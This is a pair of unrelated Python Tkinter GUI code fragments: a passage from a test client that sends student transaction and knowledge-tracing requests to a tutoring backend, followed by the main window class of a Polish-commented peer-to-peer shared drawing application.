orient=VERTICAL) self.treeview = Treeview(frame,yscrollcommand=scrollbar.set) self.treeview["columns"] = ("problem_name","step_text","transaction_text","skill_names","outcome") self.treeview.heading("problem_name",text="Problem Name") self.treeview.heading("step_text",text="Step Text") self.treeview.heading("transaction_text",text="Transaction Text") self.treeview.heading("skill_names",text="Skill Names") self.treeview.heading("outcome",text="Outcome") self.treeview.bind('<<TreeviewSelect>>', self.populate_form) scrollbar.config(command=self.treeview.yview) scrollbar.pack(side=RIGHT, fill=Y) self.treeview.pack(side=LEFT, fill=BOTH, expand=1) frame.pack(fill=BOTH) #spacer frame separator = Frame(height=2, bd=1, relief=SUNKEN) separator.pack(fill=X, padx=5, pady=5) #student id w = Label(self.root, text="Student ID") w.pack(fill=X) self.student_id = Entry(self.root,state=DISABLED) self.student_id.pack(fill=X) #ssession id w = Label(self.root, text="Session ID") w.pack(fill=X) self.session_id = Entry(self.root,state=DISABLED) self.session_id.pack(fill=X) bigframe = Frame() bigframe.pack(fill=X,padx =5, ipady=5) leftframe = Frame(bigframe) leftframe.pack(side=LEFT,fill=X,expand=1) rightframe= Frame(bigframe) rightframe.pack(side=RIGHT,fill=X,expand=1) #Entry fields ##problem name w = Label(leftframe, text="Problem Name") w.pack(fill=X) self.problem_name = Entry(leftframe) self.problem_name.pack(fill=X) ##step name w = Label(leftframe, text="Step Name") w.pack(fill=X) self.step_name = Entry(leftframe) self.step_name.pack(fill=X) ##Transaction ID w = Label(leftframe, text="Transaction ID") w.pack(fill=X) self.transaction_id = Entry(leftframe) self.transaction_id.pack(fill=X) ##Outcome w = Label(leftframe, text="Outcome") w.pack(fill=X) self.outcome = Entry(leftframe) self.outcome.pack(fill=X) ##skill names w = Label(rightframe, text="Skill Models and Names") w.pack(fill=X) self.skillbox = Text(rightframe,height=8) self.skillbox.pack() #Submit button self.button = Button(self.root, text="Send", command=self.submit_transaction, state=DISABLED) self.button.pack() #Load button self.import_button = Button(self.root, text="Import", command=self.import_datashop_file) self.import_button.pack() #spacer frame separator = Frame(height=2, bd=1, relief=SUNKEN) separator.pack(fill=X, padx=5, pady=5) bigframe = Frame() bigframe.pack(fill=X) leftframe = Frame(bigframe,bd=1) leftframe.pack(side=LEFT,expand=1, padx =5, ipady=5) rightframe= Frame(bigframe,bd=1) rightframe.pack(side=RIGHT,expand=1, padx =5, ipady=5) #student attribute w = Label(leftframe, text="Student Attribute") w.pack(fill=X) self.attr_name = Entry(leftframe) self.attr_name.pack(fill=X) w = Label(leftframe, text="Value") w.pack(fill=X) self.attr_value = Entry(leftframe) self.attr_value.pack(fill=X) self.attr_button = Button(leftframe, text="Set", command=self.set_attribute, state=DISABLED) self.attr_button.pack() b = Button(leftframe, text="Get", command=self.get_attribute) b.pack() b = Button(leftframe, text="Add Problem", command=self.add_problem) b.pack() #kt_trace w = Label(rightframe, text="Skill ID") w.pack(fill=X) self.skill_id = Entry(rightframe) self.skill_id.pack(fill=X) self.kt_button = Button(rightframe, text="Trace", command=self.kt_trace, state=DISABLED) self.kt_button.pack() b = Button(rightframe, text="Reset", command=self.kt_reset) b.pack() #response box w = Label(self.root, text="Responses") w.pack(fill=X) self.response_box = Text(height=8) self.response_box.pack() #status self.status = Label(text="Status: Idle", bd=1, relief=SUNKEN, anchor=W) self.status.pack(side=BOTTOM, fill=X) def main_loop(self): again = True if not self.callback(): again = False responses = self._poll_responses() if not self._dispatch_responses(responses): again = False if again: self.root.after(self.poll_wait, self.main_loop) else: raise Exception("Error in main loop") def import_datashop_file(self): filename = filedialog.askopenfilename() with open(filename,"r") as filein: header_line = filein.readline() headers = header_line.split("\t") filelen = file_len(filename) count =0 with open(filename,"r") as filein: filein.readline() #skip header line while 1: line = filein.readline() if not line: break rt.status.config(text="Status: Importing Datashop file... " + str(count) + " / " + str(filelen)) rt.status.update_idletasks() count+=1 values = line.split("\t") transaction = dict(zip(headers,values)) skills = get_skills(transaction) #("problem_name","step_text","transaction_text","skill_names","outcome") rt.treeview.insert("","end",text= "Transaction", values=(transaction["Problem Name"],transaction["Step Name"],transaction["Transaction Id"],json.dumps(skills),transaction["Outcome"])) rt.status.config(text="Status: Idle") rt.status.update_idletasks() print("file " + filename) def add_problem(self): mid = self.send("tutorgen.add_problem",{ "problem_name":"some problem", "problem_text":"some problem text", }, self.transaction_response_callback) print(str(mid) + str(datetime.now())) def kt_trace(self): correct=False if self.outcome.get().lower() == "correct": correct = True mid = self.send("tutorgen.kt_trace",{ "student_id":self.student_id.get(), "correct":correct, "skill_id":self.skill_id.get(), }, self.transaction_response_callback) print(str(mid) + str(datetime.now())) def kt_reset(self): mid = self.send("tutorgen.kt_reset",{ "student_id":self.student_id.get(), "skill_id":self.skill_id.get(), }, self.transaction_response_callback) print(str(mid) + str(datetime.now())) def set_attribute(self): mid = self.send("tutorgen.set_attribute",{ "student_id":self.student_id.get(), "attribute_name":self.attr_name.get(), "attribute_value":self.attr_value.get(), }, self.transaction_response_callback) self.attr_name.delete(0,END) self.attr_value.delete(0,END) print(str(mid) + str(datetime.now())) def get_attribute(self): mid = self.send("tutorgen.get_attribute",{ "student_id":self.student_id.get(), "attribute_name":self.attr_name.get(), }, self.transaction_response_callback) print(str(mid) + str(datetime.now())) def populate_form(self,evt): w = evt.widget item = w.selection()[0] values = w.item(item)["values"] self.problem_name.delete(0,END) self.problem_name.insert(INSERT,values[0]) self.step_name.delete(0,END) self.step_name.insert(INSERT,values[1]) self.transaction_id.delete(0,END) self.transaction_id.insert(INSERT,values[2]) self.skillbox.delete("0.0",END) self.json_in = json.loads(values[3]) #save for later json_out = json.dumps(self.json_in, sort_keys=True,indent=4, separators=(',', ': ')) self.skillbox.insert("0.0",json_out) self.outcome.delete(0,END) self.outcome.insert(INSERT,values[4]) def new_student_callback(self,response): self.student_id_value = response["student_id"] self.session_id_value = response["session_id"] self.student_id.config(state=NORMAL) self.student_id.insert(INSERT,str(self.student_id_value)) self.session_id.config(state=NORMAL) self.session_id.insert(INSERT,str(self.session_id_value)) self.button.config(state=NORMAL) self.import_button.config(state=NORMAL) self.attr_button.config(state=NORMAL) self.kt_button.config(state=NORMAL) def transaction_response_callback(self,response): #messagebox.showinfo("info", "Got a response: " + json.dumps(response, sort_keys=True,indent=4, separators=(',', ': '))) self.response_box.insert(END,"\n==========================================") self.response_box.insert(END,json.dumps(response, sort_keys=True,indent=4, separators=(',', ': '))) def submit_transaction(self): skill_ids = {} skill_names = {} for skill_model, skill_name in self.json_in.items(): skill_ids[skill_name] = "" skill_names[skill_model] = skill_name transaction = { "problem_name":self.problem_name.get(), "step_text":self.step_name.get(), "transaction_text":self.transaction_id.get(), "session_id":self.session_id.get(), 'skill_ids': skill_ids, 'skill_names': skill_names, 'student_id':self.student_id.get(), 'outcome': self.outcome.get(), } print(transaction) self.send_transaction(transaction, self.transaction_response_callback) def main_callback(self): return True
class MainFrame(Frame): """ Główna ramka aplikacji """ def __init__(self, ui: SharedrawUI): Frame.__init__(self, ui.root) self.parent = ui.root self.ui = ui self.parent.title("Sharedraw [%s:%s, id: %s]" % (self.ui.peer_pool.ip, self.ui.peer_pool.port, own_id)) self.drawer = Drawer(self.parent, WIDTH, HEIGHT, self.save) self.clients_table = Treeview(self.parent, columns=('R', 'G', 'from')) self.clients_table.heading('#0', text='Id') self.clients_table.heading('R', text='R') self.clients_table.heading('G', text='G') self.clients_table.heading('from', text='Otrzymano od:') self.clients_table.pack() self.token_owner_label = MutableLabel(self.parent, 'Posiadacz tokena: %s', lambda s: s if s else 'Nikt', None) self.token_owner_label.pack() self.locked_label = MutableLabel(self.parent, 'Tablica %s', lambda b: 'zablokowana' if b else 'odblokowana', False) self.locked_label.pack() # Przycisk czyszczenia self.clean_btn = self._create_button(text="Czyść", func=self.clean) # Przycisk podłączenia self.connect_btn = self._create_button(text="Podłącz", func=self.connect) # Przycisk żądania przejęcia na własność self.req_btn = self._create_button(text="Chcę przejąć tablicę", func=self._make_request) # Rezygnacja z posiadania blokady self.resign_btn = self._create_button(text='Zrezygnuj z blokady', func=self._resign) def _create_button(self, text: str, func): """ Tworzy nowy przycisk w bieżącej ramce :param text: tekst przycisku :param func: funkcja wywoływana po naciśnięciu :return: przycisk """ btn = Button(self.parent, text=text, command=func) btn.pack() return btn def save(self): """ Wysyła komunikat o zmianie obrazka do innych klientów :return: """ if self.drawer.changed_pxs: msg = PaintMessage(self.drawer.changed_pxs, self.drawer.color) self.ui.peer_pool.send(msg) # Reset listy punktów self.drawer.changed_pxs = [] def clean(self): """ Czyści obrazek oraz wysyła komunikat o wyczyszczeniu :return: """ self.drawer.clean_img() msg = CleanMessage(own_id) self.ui.peer_pool.send(msg) def _make_request(self): """ Żąda przejęcia tablicy na własność :return: """ clients_info = self.ui.om.claim_ownership() self.update_clients_info(clients_info) def _resign(self): clients_info = self.ui.om.resign() self.update_clients_info(clients_info) def connect(self): """ Uruchamia okno dialogowe do podłączenia się z innym klientem :return: """ d = ConnectDialog(self.ui) self.parent.wait_window(d.top) def update_clients_info(self, clients: ClientsTable): # Aktualizacja listy klientów for ch in self.clients_table.get_children(): self.clients_table.delete(ch) for client in clients.clients: self.clients_table.insert('', 'end', text=client.id, values=(client.requested, client.granted, client.received_from_id)) # Aktualizacja info o właścicielu tokena i blokadzie self.locked_label.update_text(clients.locked) self.token_owner_label.update_text(clients.token_owner) # Aktualizacja blokady has_token = clients.token_owner == own_id self.__set_lock_state(clients.locked, has_token) # Aktualizacja przycisków # jeśli zablokowaliśmy, to nie możemy tego zrobić drugi raz is_locker = (has_token and clients.locked) # tak samo jeśli już zażądaliśmy has_requested = clients.find_self().has_requested() self.__set_button_enabled(self.req_btn, not (is_locker or has_requested)) # jeśli nie zablokowaliśmy, to nie możemy rezygnować self.__set_button_enabled(self.resign_btn, is_locker) # Możemy się podłączyć, tylko, jeśli nie jesteśmy do nikogo podłączeni self.__set_button_enabled(self.connect_btn, len(clients.clients) <= 1) # Przycisk czyść aktywny jeśli możemy rysować self.__set_button_enabled(self.clean_btn, has_token or not clients.locked) @staticmethod def __set_button_enabled(btn: Button, enabled: bool): btn.configure(state=(NORMAL if enabled else DISABLED)) def __set_lock_state(self, locked: bool, has_token: bool): self.drawer.locked = locked and not has_token # Dodatkowo ustawiamy kolor tła, żeby było ładnie widać if locked: if has_token: color = '#66FF66' else: color = '#FF9999' else: color = '#FFFFFF' self.parent.configure(bg=color)